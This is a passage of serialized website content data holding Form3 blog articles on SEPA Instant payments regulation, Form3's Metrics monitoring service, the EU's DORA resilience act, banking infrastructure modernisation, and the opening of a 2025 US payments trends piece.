payments.",{"dimensions":11025,"alt":413,"copyright":5,"url":414,"id":415,"edit":11026},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2023-04-10","It is a truth universally acknowledged that to move a market towards adoption, regulation is the magic word. The EU has now taken this first step in making Euro instant payments universally available by requiring Payment Service Processors (PSPs) in the Eurozone to offer SEPA instant payments. This will impact both existing providers who will need to amend their current fee structures, and those needing to take steps to provide instant payments as a new service. Mandated adoption of SEPA Instant will have high impact on existing SEPA Instant providers not just on those needing to take steps to provide instant payments as a new service.",{},[],[],{},[],{"link_type":434},[11036,11058,11072,11083],{"variation":437,"version":438,"items":11037,"primary":11038,"id":11057,"slice_type":468,"slice_label":5},[],{"body":11039},[11040,11042,11045,11048,11051,11054],{"type":988,"text":4940,"spans":11041,"direction":445},[],{"type":25,"text":11043,"spans":11044,"direction":445},"In the SEPA area, most if not all larger credit institutions are supporting in some capacity SEPA Instant already. These institutions will be faced with the need to adjust their processes and back offices (further) to accommodate for the screening requirements at speed, optimise for loss of fees that they may have been asking for as compensation, and consider what enhancements they could possibly offer and charge for. ",[],{"type":25,"text":11046,"spans":11047,"direction":445},"For those that have yet to embrace instant payments, they face the same challenges in their back offices and additionally some that others already went through like how to deal with a prefunded system in their net or gross settlement-based treasury processes. ",[],{"type":25,"text":11049,"spans":11050,"direction":445},"They may also consider how they wish to participate; does their customer base warrant a direct participation or are there other ways to fulfill the requirement of the mandate more appropriately? This could take the form of a traditional ‘indirect’ model or alternatively access could be achieved through a ‘Direct Non-settling Participation’ (DNSP) model, that would provide a direct arrangement to fully embrace the real time nature of SEPA Instant.",[],{"type":25,"text":11052,"spans":11053,"direction":445},"It also provides a great opportunity for innovation and enhanced services for those that provide screening services. Current solutions in general take too much time to complete a screening, on account lists and transactions, to go alongside with a real instant payments service of which the expectation is that over time service-level agreements (SLAs) will only become more stringent. ",[],{"type":25,"text":11055,"spans":11056,"direction":445},"The same is true for those that specialise in authorized push payment (APP) fraud prevention. We see from mature instant markets that APP fraud is on the rise even when services like Confirmation of Payee are in place like the UK. The SEPA market is only just getting started on both these instant payments challenges. And best in class solutions will be needed to build trust and reliability that full adoption of instant payments needs.",[],"rich_text$457c2155-5821-42ff-8ac2-dd065742ff46",{"variation":437,"version":438,"items":11059,"primary":11060,"id":11071,"slice_type":468,"slice_label":5},[],{"body":11061},[11062,11065,11068],{"type":988,"text":11063,"spans":11064,"direction":445},"The best approach to the new Mandate",[],{"type":25,"text":11066,"spans":11067,"direction":445},"Existing SEPA Instant providers should look at the new regulation as an opportunity to review their back-office capabilities and drive efficiency. Such analysis, will in my view, lead to more outsourcing of commoditized processes. Those that want to handle the payments themselves are looking at a substantial overhaul. ",[],{"type":25,"text":11069,"spans":11070,"direction":445},"Legacy, on-premise infrastructure and multi-layered back office processes are not geared up to handle increased SEPA Instant volumes at speed and to scale over time. Moving to the cloud native infrastructure in our view is essential and will play a big part in greatly reducing cost and risk. ",[],"rich_text$47eef5c5-a618-4214-acfe-79040c6817b8",{"variation":437,"version":438,"items":11073,"primary":11074,"id":11082,"slice_type":468,"slice_label":5},[],{"body":11075},[11076,11079],{"type":988,"text":11077,"spans":11078,"direction":445},"The time to act is now",[],{"type":25,"text":11080,"spans":11081,"direction":445},"Although the finalisation date is yet unknown things look to be proceeding quickly. Once the regulation gets through, financial institutions will have 6 months to be ready to receive SEPA Instant payments and send SEPA Instant payments 6 months after that. That is likely to bring us to the end 2024 at the earliest for both implementations. ",[],"rich_text$13b91531-7dd1-4f5a-bebd-9119efbd5cde",{"variation":437,"version":438,"items":11084,"primary":11085,"id":11099,"slice_type":468,"slice_label":5},[],{"body":11086},[11087,11090,11093,11096],{"type":988,"text":11088,"spans":11089,"direction":445},"Takeaway:",[],{"type":25,"text":11091,"spans":11092,"direction":445},"Mandated SEPA Instant will ensure uptake across the market and make Instant the new normal. Ensuring the security of instant payments makes up a large part of the EU regulations, essential to the trust in market, innovation to handle screening at speed should come from the expert providers.",[],{"type":25,"text":11094,"spans":11095,"direction":445},"The regulation will cause high impact with both existing SEPA Instant providers and newcomers to the market. Considerations for outsourcing and minimising integration points for processing payments may be the key to efficiency and reducing risks.",[],{"type":25,"text":11097,"spans":11098,"direction":445},"If done right, and the market can build trust and solve for the new type screening, in what is one of the most complex payments markets out there, SEPA can become an example of best next generation instant payments to for other regions, key also to keeping interoperability.",[],"rich_text$c4144944-6f3d-4968-a7e3-8d258b96c951","Industry intelligence: Taking the stress out of delivering SEPA’s new Instant Payments Mandate",{"id":11102,"uid":11103,"type":3743,"data":11104},"alzylBEAACsAUWFw","how-form3s-metrics-service-opens-up-granular-insights",{"title":11105,"excerpt":11106,"card_image":11107,"published_date":11110,"reading_time":418,"tag":5813,"dek":11111,"featured_image":11112,"about_form3":11113,"client_about_heading":5,"client_about_body":11114,"author_name":5,"author_title":5,"author_photo":11115,"author_bio":11116,"author_linkedin":11117,"slices":11118,"meta_title":11105,"meta_description":11106},"Product focus: How Form3’s Metrics service opens up granular insights into payment traffic and gateway performance","Moving payment operations from their own estate to a managed service represents a big change in the operating model of banks and financial institutions. Legacy, in-house technology platforms have traditionally always been under the control of the bank itself, meaning they had full responsibility for all maintenance, scheme testing, and payments processing – for better or worse.",{"dimensions":11108,"alt":413,"copyright":5,"url":414,"id":415,"edit":11109},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2024-11-10","Moving payment operations from their own estate to a managed service represents a big change in the operating model of banks and financial institutions. Legacy, in-house technology platforms have traditionally always been under the control of the bank itself, meaning they had full responsibility for all maintenance, scheme testing, and payments processing – for better or worse. Moving to a managed service, built on cloud-native technologies, operated by a third party that takes on the burden of all maintenance and testing is a huge shift. While there are many advantages to this approach, customers could also perceive reduced visibility and control on the \"black box\" that the managed provider represents. How can they feel fully confident in a service that isn't under their full control anymore?At Form3, we recognise the challenge in adapting to this new model, and we want to ensure complete confidence and visibility across the service for our customers. The Form3 Metrics service gives them greater visibility into exactly what is going on.",{},[],[],{},[],{"link_type":434},[11119,11139,11162,11176],{"variation":437,"version":438,"items":11120,"primary":11121,"id":11138,"slice_type":468,"slice_label":5},[],{"body":11122},[11123,11126,11129,11132,11135],{"type":988,"text":11124,"spans":11125,"direction":445},"Introducing Form3’s Metrics service",[],{"type":25,"text":11127,"spans":11128,"direction":445},"To ensure our clients have complete confidence and visibility across the managed services that Form3 offers – and to ensure compliance from a governance and regulatory perspective – the Form3 Metrics service is crucial. It allows customers to have full visibility into performance and details of the payments which Form3 are processing on their behalf. Effectively, it means customers can observe their usage of the Form3 platform and gain insights into their payment traffic and gateway performance, in close to real time. ",[],{"type":25,"text":11130,"spans":11131,"direction":445},"To break that down, Form3’s fully managed service consists of four intrinsically linked layers that incorporate Payment Gateway Services; the Core Account-to-Account Payments Platform and suite of APIs; Payment & Financial Crime Orchestration; and Data & Analytics Services.",[],{"type":25,"text":11133,"spans":11134,"direction":445},"The Data & Analytics layer contains data services that provide insights into the Gateway, Platform and Orchestration layers. Form3's Metrics service is an extension of the Data & Analytics layer, monitoring multiple process flows within the Platform and Gateway layers.",[],{"type":25,"text":11136,"spans":11137,"direction":445},"The output of this Metrics service is available via API for a client to collect and digest into their own internal systems to enable effective operational support and monitoring. This means they don’t need to rely on our regular reports to know what’s going on with their payment flows – they can keep an eye on everything themselves. ",[],"rich_text$926ac532-abfb-4c06-93ce-670d1642b9e7",{"variation":437,"version":438,"items":11140,"primary":11141,"id":11161,"slice_type":468,"slice_label":5},[],{"body":11142},[11143,11146,11149,11152,11155,11158],{"type":988,"text":11144,"spans":11145,"direction":445},"The benefits of Form3’s Metrics service",[],{"type":25,"text":11147,"spans":11148,"direction":445},"One of the chief benefits of the Metrics service is that it opens up the ‘black box' for Form3 clients. With fully managed account-to-account (A2A) payment and gateway services, many banks don’t get full visibility on payment flows that Form3 handles for them. But those that do utilise the Metrics service can see inside the black box and observe Form3's processing engine, then get details and aggregated views on processing time, volumes, and values. ",[],{"type":25,"text":11150,"spans":11151,"direction":445},"Beyond this increased visibility and transparency, customers can get right into the granular details. The Metrics service allows them to drill down into processing times of the various legs of the journey, utilise available attributes like scheme status code and payment priority groups (PPGs) to filter or get aggregated views of volumes and values, stand-in queues, subscriptions, and so on.",[],{"type":25,"text":11153,"spans":11154,"direction":445},"For instance, if a payment from a sending bank cannot be validated or processed by Form3, meaning it can't reach the receiving bank, this results in an incident that needs to be reported to regulators. End users expect to be able to make and receive payments on a 24\u002F7\u002F365 basis, so spotting problems as they happen is key.",[],{"type":25,"text":11156,"spans":11157,"direction":445},"Our customers have the ability to fetch their metrics by using Prometheus-native queries and integrate the solution with their own existing Enterprise Service Bridge and dashboard functionality (e.g. Grafana) to visualise available metrics and create fully customised views, aligned to roles as required.",[],{"type":25,"text":11159,"spans":11160,"direction":445},"This means they can assess the impact of the outage or technology failure, instigate their own mitigation plans, and communicate effectively with their customers in the event of an incident. Ultimately, managing these incidents effectively will prevent end user dissatisfaction, a key consideration for banks that want to prevent customer churn. In this sense, having access to the Metrics service is a competitive advantage.",[],"rich_text$752eb00d-9c65-457c-aa82-71c89fa56f8f",{"variation":437,"version":438,"items":11163,"primary":11164,"id":11175,"slice_type":468,"slice_label":5},[],{"body":11165},[11166,11169,11172],{"type":988,"text":11167,"spans":11168,"direction":445},"Why Form3’s Metrics service is unique and drives efficiency",[],{"type":25,"text":11170,"spans":11171,"direction":445},"It’s this access to the very customers’ data that Form3 processes internally that makes Metrics unique. Usually, third-party providers only provide dashboard displays of their products to clients. We’re opening up our black box to show exactly what’s going on inside – we haven’t converted it into a static dashboard, but give clients a full view of our world, so they can see the same metrics that we use for internal monitoring, incident management and measuring gateway and platform performance.  ",[],{"type":25,"text":11173,"spans":11174,"direction":445},"Metrics can also play a vital role in driving efficiencies and lowering operating costs. For example, when customers are in a maintenance window, without Metrics they would have to rely on us to provide support and details to check that everything was working when they bring their service back online.",[],"rich_text$4b46063a-e45e-4f22-b83a-7d57eb0537f3",{"variation":437,"version":438,"items":11177,"primary":11178,"id":11189,"slice_type":468,"slice_label":5},[],{"body":11179},[11180,11183,11186],{"type":988,"text":11181,"spans":11182,"direction":445},"Why Form3 customers should invest in Metrics",[],{"type":25,"text":11184,"spans":11185,"direction":445},"Form3 clients should consider investing in adding the Metrics service to their package for a number of reasons. Firstly, it can cut down the amount of time and resource they put into contacting Form3 for updates on payment processing, incidents, maintenance and migrations, as they can have all of this data at their fingertips instead.",[],{"type":25,"text":11187,"spans":11188,"direction":445},"The advanced operational monitoring capabilities of Metrics really come into their own where incident management is concerned. In a world where seamless service delivery is something that end users expect, and outages can have severe reputational and financial consequences, all businesses must ensure that they have robust processes in place to detect, respond, and communicate effectively during incidents.",[],"rich_text$65e449ab-22bc-47ff-bf5a-543d87c4e016",{"id":11191,"uid":11192,"type":3743,"data":11193},"alzzrxEAACwAUWQP","dora-cloud-regulation-for-banks-in-europe",{"title":11194,"excerpt":11195,"card_image":11196,"published_date":11199,"reading_time":643,"tag":5813,"dek":5,"featured_image":11200,"about_form3":11201,"client_about_heading":5,"client_about_body":11202,"author_name":5,"author_title":5,"author_photo":11203,"author_bio":11204,"author_linkedin":11205,"slices":11206,"meta_title":11336,"meta_description":11333},"DORA: Financial institutions must act now or risk non-compliance","The European Union’s incoming Digital Operational Resilience Act (DORA) is still something that is flying low on the radar of many banks. But with proposed dates of legislation landing next year, it is one that will have a wide reaching impact across the whole of the payments ecosystem.",{"dimensions":11197,"alt":413,"copyright":5,"url":414,"id":415,"edit":11198},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2022-11-21",{},[],[],{},[],{"link_type":434},[11207,11231,11269,11295,11309,11326],{"variation":437,"version":438,"items":11208,"primary":11209,"id":11230,"slice_type":468,"slice_label":5},[],{"body":11210},[11211,11214,11221,11224,11227],{"type":25,"text":11212,"spans":11213},"The European Union’s incoming Digital Operational Resilience Act (DORA) was first published in September 2020 as part of the Union’s Digital Finance Package (DFP), with a clear objective of improving the digital resiliency of the entire financial system. Almost every type of financial institution (FI) across the EU will be required to ensure that their suppliers and their suppliers’ security controls meet resilience standards.",[],{"type":25,"text":11215,"spans":11216},"With political agreement reached for DORA reached in May this year, by late June European Parliament updated its procedure file on the proposed regulation, indicating that Parliament will consider the draft during its October 2022 plenary session.",[11217],{"start":11218,"end":9156,"type":489,"data":11219},156,{"link_type":491,"url":11220},"https:\u002F\u002Foeil.secure.europarl.europa.eu\u002Foeil\u002Fpopups\u002Fficheprocedure.do?reference=2020\u002F0266(COD)&l=en",{"type":25,"text":11222,"spans":11223},"We make nothing short of a big deal around ISO 20022 migration, the ESMIG migration is agenda-setting, we have only granted diligent attention to EBA CLEARING’s STEP2 migration to the continuous gross settlement mechanism, so why isn’t DORA being prioritised with equal fervour?",[],{"type":25,"text":11225,"spans":11226},"Financial institutions of all shapes and sizes, organisations throughout FIs’ supply chains (especially those designated as critical), will be impacted by the Act and must review and build robust strategies to manage resilience risks between themselves and suppliers. This will also lead to more numerous and stringent operational resilience demand on suppliers themselves.",[],{"type":25,"text":11228,"spans":11229},"A natural first step would be to evaluate what is already in place to help the institution meet the Act’s expectations. No matter the size of the organisation, the imminence of implementation dates mean that whatever can be done immediately should be prioritised – be it a gap analysis or investigating what an FI’s estate looks likes – rather than waiting to know what technical standards will be approved further down the line.",[],"rich_text$b5be524d-ddde-43f7-a6c0-a875d15bb6a7",{"variation":437,"version":438,"items":11232,"primary":11233,"id":11268,"slice_type":468,"slice_label":5},[],{"body":11234},[11235,11238,11241,11247,11250,11253,11256,11259,11262,11265],{"type":988,"text":11236,"spans":11237,"direction":445},"Harmonising a web of resilience standards",[],{"type":25,"text":11239,"spans":11240,"direction":445},"Having been under discussion at the European Commission for a significant period of time, the text of DORA has finally been agreed upon. The European Union’s efforts to supervise the space have historically focused on a base level of functionality across a mesh of rules that are too general for the sector. This resulted in national authorities reaching their own interpretation of the rules, which were superficial and lacked cohesion.",[],{"type":25,"text":11242,"spans":11243,"direction":445},"The inconsistencies led to duplicate sets of rules across regimes which have not only contributed to high administrative and compliance costs, but increased IT and resilience risks.",[11244],{"start":5103,"end":3774,"type":489,"data":11245},{"link_type":491,"url":11246,"target":493},"https:\u002F\u002Feur-lex.europa.eu\u002Flegal-content\u002FEN\u002FTXT\u002F?uri=CELEX:52020SC0199",{"type":25,"text":11248,"spans":11249,"direction":445},"Regulators are motivated to craft a set of rules which harmonise this patchwork of standards and rules, to build a robust and consistent framework that can be implemented effectively. Various jurisdictions have been grappling with the challenge of managing risk to strengthen operational resilience, with some regions making more progress than others.",[],{"type":25,"text":11251,"spans":11252,"direction":445},"For instance, DORA will significantly extend definitions of risk covered by the EBA to include networks and any technology-dependent tools or processes. The Act will also mandate that financial institutions that are considered critical must implement threat-led penetration testing, a step further than low-threshold testing.",[],{"type":25,"text":11254,"spans":11255,"direction":445},"This framework is essential in the current and future world of digitised financial services, as international cloud providers, technical providers and large financial institutions themselves are all attempting to orient their strategy in a compliant and resilient manner.",[],{"type":25,"text":11257,"spans":11258,"direction":445},"The drastic rise of interconnected and interoperable systems adds to the pressure to reinforce resilience across the financial supply chain landscape. Initiatives such as the second Payment Service Directive (PSD2) or large-scale transformation as we have seen with TIPS or SEPA)underscore this interdependence, highlighting the need to ensure that all players in this ecosystem are sufficiently resilient and secure.",[],{"type":25,"text":11260,"spans":11261,"direction":445},"As a consequence of DORA, it may be that parties in the supply chain which were previously unregulated can now be expected to fall under the supervision of regulators.",[],{"type":25,"text":11263,"spans":11264,"direction":445},"Overlaying supply chain concerns is the potential for variations in operational resilience frameworks with other nations or regions, such as the UK. Both HM Treasury and the Bank of England recently published papers on their approach to Critical Third Parties (CTPs), with the central bank welcoming responses to the discussion paper until December 2022.",[],{"type":25,"text":11266,"spans":11267,"direction":445},"While it is likely that there will be overall similarity between the UK’s operational resilience framework and the incoming DORA, it would be prudent to prepare for potential differences between the two. Work should begin on addressing any differences sooner rather than later.",[],"rich_text$dc325fe9-1151-4456-aa47-bdcf6c2ced56",{"variation":437,"version":438,"items":11270,"primary":11271,"id":11294,"slice_type":468,"slice_label":5},[],{"body":11272},[11273,11276,11279,11282,11285,11288,11291],{"type":988,"text":11274,"spans":11275,"direction":445},"Bringing diversification through DORA",[],{"type":25,"text":11277,"spans":11278,"direction":445},"As financial institutions are increasingly moving their operations onto the cloud, and given the global presence of certain large cloud providers, there is also a need for them to consider how they would respond to technical failures by their providers which may impact services across entire countries or regions.",[],{"type":25,"text":11280,"spans":11281,"direction":445},"Tackling this issue of concentration risk is a significant challenge for financial institutions, and while regulators appreciate the scale of the project, FIs should look to technology providers offering multi-cloud solutions as partners to assist them meet these standards in keeping with the incoming deadlines.",[],{"type":25,"text":11283,"spans":11284,"direction":445},"Diversification of suppliers is likely to become an increasingly important factor for financial institutions which interact with these organisations, as they seek to ensure that they spread their dependence over multiple network providers. This is particularly important for disaster recovery scenarios.",[],{"type":25,"text":11286,"spans":11287,"direction":445},"Financial institutions are not only going to be weighing up the advantages of working with a number of providers, but also considering the value of working with providers that are diversified and resilient themselves.",[],{"type":25,"text":11289,"spans":11290,"direction":445},"In order to effectively diversify, institutions will need to allocate sufficient financial and human resource toward pushing DORA readiness to the top of the agenda.",[],{"type":25,"text":11292,"spans":11293,"direction":445},"Given the looming deadlines, it is surprising to see how few parties across the industry even recognise the Act. When the majority of the attendees at industry leading conferences such as EBAday will not recognise the term DORA, it is apparent that meeting the deadlines is not ranking high enough on decision-makers’ timelines.",[],"rich_text$dc7c9462-2a4d-4db9-be01-a64e6e9de8ee",{"variation":437,"version":438,"items":11296,"primary":11297,"id":11308,"slice_type":468,"slice_label":5},[],{"body":11298},[11299,11302,11305],{"type":988,"text":11300,"spans":11301,"direction":445},"Viewing DORA as an opportunity rather than a burden",[],{"type":25,"text":11303,"spans":11304,"direction":445},"DORA is not considered by all players to be a silver bullet for resolving operational resilience concerns. However, despite the possibility of DORA being viewed as another regulatory burden by financial institutions, the consistency that it enforces across the EU means that financial institutions can have greater confidence that their suppliers are meeting the necessary resilience standards.",[],{"type":25,"text":11306,"spans":11307,"direction":445},"This will have the effect of opening up the landscape to greater competition, where institutions can look further afield to more sophisticated suppliers and be reassured that the player is compliant. The desire to improve diversification for service providers by financial institutions will also encourage smaller players which have historically been pushed out the market by monoliths to gain a stronger foothold in the industry.",[],"rich_text$b5351a8b-dcdd-4970-a11b-a4d764113476",{"variation":437,"version":438,"items":11310,"primary":11311,"id":11325,"slice_type":468,"slice_label":5},[],{"body":11312},[11313,11316,11319,11322],{"type":988,"text":11314,"spans":11315,"direction":445},"Approaching DORA with a holistic mindset",[],{"type":25,"text":11317,"spans":11318,"direction":445},"DORA can be traced to every facet of a financial institutions’ offerings. As a result, firms would be well advised to approach the rules in a holistic manner, giving careful attention to how every division and system will be impacted.",[],{"type":25,"text":11320,"spans":11321,"direction":445},"At first glance, this potentially makes for a daunting undertaking. Preparing for the incoming DORA rules will likely land with operations or risk management departments first and foremost, before being picked up by product departments. To achieve this comprehensive transition, it is essential that financial institutions are able to craft a strategy that will be adaptable with changing regulations into the future.",[],{"type":25,"text":11323,"spans":11324,"direction":445},"By working with the correct partners, future-proofing an FI’s operational resilience strategy is not out of reach. In fact, certain technology providers are acutely aware of burdens that legacy technology can place on an FI’s efforts to meet new compliance obligations, and are equipped to support the entire transition from an outdated estate, toward an agile and resilient architecture into the future.",[],"rich_text$62292264-c864-4a01-9497-35139c22ba77",{"variation":437,"version":438,"items":11327,"primary":11328,"id":11335,"slice_type":468,"slice_label":5},[],{"body":11329},[11330,11332],{"type":988,"text":4445,"spans":11331,"direction":445},[],{"type":25,"text":11333,"spans":11334,"direction":445},"Time is of the essence for financial institutions set to fall within DORA’s remit. Be it through performing thorough gap assessments to identify both internal and supply chain risk factors, or allocating greater resource to resilience efforts, the time to act is now. Thankfully, with a wealth of resources and technological expertise available to assist in the transition, firms can take the opportunity to construct a comprehensive and adaptable model for their resilience strategy.",[],"rich_text$c692e674-8ef2-4ef5-81b1-1bc3771cc52a","DORA cloud regulation what banks need to know and how to prepare",{"id":11338,"uid":11339,"type":3743,"data":11340},"alzykhEAACkAUWFp","how-traditional-banking-tech-infrastructure-is-being-transformed",{"title":11341,"excerpt":11342,"card_image":11343,"published_date":11346,"reading_time":418,"tag":5813,"dek":11347,"featured_image":11348,"about_form3":11349,"client_about_heading":5,"client_about_body":11350,"author_name":11351,"author_title":11352,"author_photo":11353,"author_bio":11360,"author_linkedin":11376,"slices":11379,"meta_title":11341,"meta_description":11342},"Industry focus: How traditional banking tech infrastructure is being transformed","The more forward-looking banks are looking to create a composable set of systems and architecture that allows them to plug-and-play best class components into their infrastructure rather than sourcing from a single provider. They don’t want to be tied to monolithic systems that are so deeply interconnected that making small changes requires the entire environment to be shut down; instead, they want to be able to make tweaks and adjustments any time they need, ripping out things that don’t work and replacing them with newer modules when appropriate.",{"dimensions":11344,"alt":2093,"copyright":5,"url":2094,"id":2095,"edit":11345},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2024-11-11","“If it ain’t broke, don’t fix it.” While there is a great deal of wisdom in this old aphorism, it isn’t an approach that I would advocate for banking infrastructure. I don’t believe current banking infrastructure is ‘broken’, necessarily, but we must accept that it was built for a different set of realities. It’s not so much a fix that’s required as a transformation.",{},[],[],"David Scola","Chief Product Officer & US Chief Executive Officer",{"dimensions":11354,"alt":5,"copyright":5,"url":11357,"id":11358,"edit":11359},{"width":11355,"height":11356},1023,1537,"\u002F_prismic-media\u002F401e7227a2ab81b5-dTLsEWD5DB8q2xBC_dave.jpg","dTLsEWD5DB8q2xBC",{"x":398,"y":398,"zoom":399,"background":400},[11361,11364,11367,11370,11373],{"type":25,"text":11362,"spans":11363,"direction":445},"David Scola is Chief Product Officer and US Chief Executive Officer at Form3, where he leads the company’s global product strategy and innovation agenda. Since joining Form3 in 2022 to spearhead its expansion into the United States, David has played a key role in extending the company’s reach and helping financial institutions modernize their payments infrastructure through cloud-native technology.",[],{"type":25,"text":11365,"spans":11366,"direction":445},"With more than 25 years of experience across transaction banking, payments, and financial market infrastructure, David has built and led businesses at the forefront of industry transformation. He brings deep expertise in helping banks navigate change, embrace new technologies, and deliver secure, scalable payment services in an increasingly digital world.",[],{"type":25,"text":11368,"spans":11369,"direction":445},"Before joining Form3, David served as Chief Executive for the Americas, UK and Ireland at SWIFT, where he was responsible for some of the organization’s largest client relationships and its global securities business.",[],{"type":25,"text":11371,"spans":11372,"direction":445},"Previously, he was Global Head of Financial Institutions at Barclays, overseeing correspondent banking, trade finance, flow FX, and liquidity management. Earlier in his career, he held senior product and strategy roles at Deutsche Bank and The Bank of New York.",[],{"type":25,"text":11374,"spans":11375,"direction":445},"David holds an MSc in Development Economics from the School of Oriental and African Studies, University of London, and a BSFS in International Relations from Georgetown University.",[],{"link_type":491,"key":11377,"url":11378,"target":493},"5c1afedb-e82a-41c4-b797-093477a1d009","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fdavidscola\u002F",[11380,11397,11414],{"variation":437,"version":438,"items":11381,"primary":11382,"id":11396,"slice_type":468,"slice_label":5},[],{"body":11383},[11384,11387,11390,11393],{"type":988,"text":11385,"spans":11386,"direction":445},"How banks are reacting to the new reality",[],{"type":25,"text":11388,"spans":11389,"direction":445},"The more forward-looking banks are looking to create a composable set of systems and architecture that allows them to plug-and-play best class components into their infrastructure rather than sourcing from a single provider. They don’t want to be tied to monolithic systems that are so deeply interconnected that making small changes requires the entire environment to be shut down; instead, they want to be able to make tweaks and adjustments any time they need, ripping out things that don’t work and replacing them with newer modules when appropriate. ",[],{"type":25,"text":11391,"spans":11392,"direction":445},"These components aren’t entirely of their own creation now, either. While banks will still have proprietary technology within their platforms, they are also likely to be using components built by third-party providers. Sometimes, too, these components sit outside of their own firewall. These banks have accepted that embracing the wider ecosystem rather than taking a hermetic approach is the best way forward. ",[],{"type":25,"text":11394,"spans":11395,"direction":445},"There’s also been a change of attitude towards technology investments. Rather than making a massive, up-front payment for infrastructure, they want to spread it out so it’s more in line with their operational costs. Subscription-based Software-as-a-Service (SaaS) models make it easier for banks to align their expenses with their operational income, allowing them to function more efficiently. ",[],"rich_text$dbeebc41-07ce-4e4d-80ec-f2a446b4bf4a",{"variation":437,"version":438,"items":11398,"primary":11399,"id":11413,"slice_type":468,"slice_label":5},[],{"body":11400},[11401,11404,11407,11410],{"type":988,"text":11402,"spans":11403,"direction":445},"The customer is always right",[],{"type":25,"text":11405,"spans":11406,"direction":445},"While changes in back-end operations are usually something that customers aren’t aware of, it’s the needs and desires of clients that are actually driving these changes. After all, they are the ones demanding always-on, real-time transactional capabilities. The impacts that customers see from these transformations are largely positive, which is obviously great from their perspective, but they’re unlikely to appreciate just how many hurdles and obstacles banks need to overcome in order to provide these services. ",[],{"type":25,"text":11408,"spans":11409,"direction":445},"As well as overhauling legacy infrastructure and taking a new approach to how they use and pay for technology, banks also need to manage liquidity in a different way to cope with the real-time payments environment. How banks manage their liquidity on a 24\u002F7 basis is going to be a massive challenge. It’s not something they’ve done in the past, and it’s not something that they’re structured to do. ",[],{"type":25,"text":11411,"spans":11412,"direction":445},"An even bigger challenge, though, is fraud prevention. Whenever a new payments system is introduced, it becomes a target for bad actors who are looking for ways to exploit the system for their own ends. We’ve seen it with crypto, we’ve seen it with Zelle and most recently we’ve seen it with closed-end solutions like Cash App. The problem affects the payment industry as a whole, meaning efforts to combat this fraud will need to be concerted and coordinated in a way that will ultimately be effective, but the last thing a bank wants is to be the weak link that these criminals target.  ",[],"rich_text$52a2563b-8803-462d-8820-fc684d861746",{"variation":437,"version":438,"items":11415,"primary":11416,"id":11436,"slice_type":468,"slice_label":5},[],{"body":11417},[11418,11421,11424,11427,11430,11433],{"type":988,"text":11419,"spans":11420,"direction":445},"Optimizing infrastructure for modern-day banking",[],{"type":25,"text":11422,"spans":11423,"direction":445},"For banks that are still in the process of digital transformation, there are still more areas that will need attention if they want to reduce the number of headaches they suffer — and boost their chances of success — in a real-time payments environment. Things like OFAC checking and anti-money laundering checks will need to take place on all transactions and these aren’t necessarily easy to implement into legacy architecture. ",[],{"type":25,"text":11425,"spans":11426,"direction":445},"Cloud platforms and microservices represent a way for banks to take the strain away from their existing systems while offering a great degree of agility too; not just in terms of flexibility when it comes to adding components but scalability as well. Cloud platforms can help deal with the load, but banks shouldn’t be fooled into thinking that the cloud is the answer to all of their problems. ",[],{"type":25,"text":11428,"spans":11429,"direction":445},"When it comes to services that are as important as payments, banks need to be certain that they have taken every measure possible to fulfil their obligations to customers. Regulators, too, will be keeping a close eye on all cloud-based payment services, and it seems inevitable that they will insist that banks take a multi-cloud approach at some stage in the future. ",[],{"type":25,"text":11431,"spans":11432,"direction":445},"The launch of FedNow was arguably the biggest change the banking industry has seen so far this century. Driven by consumer demand — which itself was shaped by the recent pandemic — banks are faced with some very big challenges right now. ",[],{"type":25,"text":11434,"spans":11435,"direction":445},"Modern problems require modern solutions; that’s why the banks that upgrade and future-proof their core infrastructure by looking to third-party providers and cloud platforms will have the best chance of thriving in a real-time world. Those that don’t accept the need for change, or are too slow in their transition, will be the ones that fall by the wayside.",[],"rich_text$4a87a694-9952-4658-b2e5-93894c56b970",{"id":11438,"uid":11439,"type":3743,"data":11440},"alzygREAACsAUWFA","key-us-payment-trends-in-2025-and-beyond-that-banks-need-to-be-aware-of",{"title":11441,"excerpt":11442,"card_image":11443,"published_date":11446,"reading_time":418,"tag":5813,"dek":11447,"featured_image":11448,"about_form3":11449,"client_about_heading":5,"client_about_body":11450,"author_name":11351,"author_title":11352,"author_photo":11451,"author_bio":11455,"author_linkedin":11466,"slices":11468,"meta_title":11441,"meta_description":11442},"Key US payment trends in 2025 and beyond that banks need to be aware of","The key trends shaping the payments industry in 2025 are likely to be iterations on key themes we have seen in the industry for year, but what new dynamics do we expect to see? Key to answering this question is to kick off with a review of 2024, and look at how this is likely to influence 2025 activity.",{"dimensions":11444,"alt":2093,"copyright":5,"url":2094,"id":2095,"edit":11445},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2025-01-14","The key trends shaping the payments industry in 2025 are likely to be iterations on key themes we have seen in the industry for year, but what new dynamics do we expect to see? Key to answering this question is to kick off with a review of 2024, and look at how this is likely to influence 2025 activity. I think the big challenge for banks in 2024 was ISO 20022 migration, which proved to be a massive pull on bank’s resources and investment which may have been otherwise allocated to other payment modernization activities. Thankfully, the end of the road for at least this initial phase of ISO migration is in sight - the CHIPS network was successfully onboarded in April, and looking ahead, the Fedwire Funds Service will migrate in March 2025. This has been important and difficult work in laying the foundation for many advancements in payments to come in the future.Following this ISO 20022 migration activity, I think what we're likely to see in 2025 is that banks are able to move on from regulatory work to look at true modernization activities on their platforms.With this modernization in mind, I will address key payments trends in 2025 and for the rest of the decade that US banks need to be on top of to best serve their customers.",{},[],[],{"dimensions":11452,"alt":11453,"copyright":5,"url":11357,"id":11358,"edit":11454},{"width":11355,"height":11356},"dave",{"x":398,"y":398,"zoom":399,"background":400},[11456,11458,11460,11462,11464],{"type":25,"text":11362,"spans":11457,"direction":445},[],{"type":25,"text":11365,"spans":11459,"direction":445},[],{"type":25,"text":11368,"spans":11461,"direction":445},[],{"type":25,"text":11371,"spans":11463,"direction":445},[],{"type":25,"text":11374,"spans":11465,"direction":445},[],{"link_type":491,"key":11467,"url":11378,"target":493},"db9e564d-6e19-4cd7-9ba3-8f6255f52a9d",[11469,11501,11524,11550],{"variation":437,"version":438,"items":11470,"primary":11471,"id":11500,"slice_type":468,"slice_label":5},[],{"body":11472},[11473,11476,11479,11485,11488,11491,11494,11497],{"type":988,"text":11474,"spans":11475,"direction":445},"Account-to-account payments to drive retail in 2025?",[],{"type":25,"text":11477,"spans":11478,"direction":445},"The first big 